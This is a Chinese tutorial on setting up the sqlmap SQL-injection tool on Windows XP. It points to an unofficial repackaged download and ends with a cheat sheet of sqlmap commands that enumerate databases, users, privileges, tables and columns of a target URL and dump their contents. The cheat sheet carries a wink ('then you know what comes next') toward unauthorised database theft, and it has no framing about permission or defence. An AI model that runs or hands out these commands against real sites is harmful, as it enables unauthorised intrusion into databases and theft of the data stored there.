為方便大家使用，錯新站長站已經(jīng)為大家封裝了一個版本，下載地址 http://www.gaoxiaoshuo.cn/softs/63591.html
1、首先下載SqlMap 點擊下載。
2、其次下載用于Windows系統(tǒng)的Python ……點擊這里……

3、然后安裝Python：
Python默認安裝的路徑是“C:/Python”（你也可以修改安裝路徑，但要記住路徑），直接默認安裝“下一步”OK …

4、解壓SqlMap.zip里面的文件…

5、找到你安裝python的目錄（對于我來說：C:/Python27中）

6、現(xiàn)在，在python文件夾中創(chuàng)建一個新的文件夾，并命名為“SqlMap”

7、然后把你剛才解壓的SqlMap中的文件全部復制到C:/Python27/sqlmap文件夾里面

8、最后在桌面空白處右鍵創(chuàng)建一個新的快捷方式：并命名為“Sqlmap”

9、點擊剛才創(chuàng)建好的Sqlmap快捷方式右鍵—在目標欄輸入：%windir%/system32/cmd.exe
如圖：

創(chuàng)建好之后，運行你剛才創(chuàng)建的SqlMap快捷方式 這樣就可以在WindowsXP運行SqlMap了。

執(zhí)行命令：python sqlmap/sqlmap.py -help


具體的一些命令：

mssql access 直接爆表.然后你懂的
BT5里面的話前面就要加python
sqlmap.py -u url --dbs //爆數(shù)據(jù)庫
sqlmap.py -u url --current-db //爆當前庫
sqlmap.py -u url --current-user //爆當前用戶
sqlmap.py -u url --users 查看用戶權限
sqlmap.py -u url --tables -D 數(shù)據(jù)庫 //爆表段
sqlmap.py -u url --columns -T 表段 -D 數(shù)據(jù)庫 //爆字段
sqlmap.py -u url --dump -C 字段 -T 表段 -D 數(shù)據(jù)庫 //猜解
sqlmap.py -u url --dump --start=1 --stop=3 -C 字段 -T 表段 -D 數(shù)據(jù)庫 //猜解1到3的字段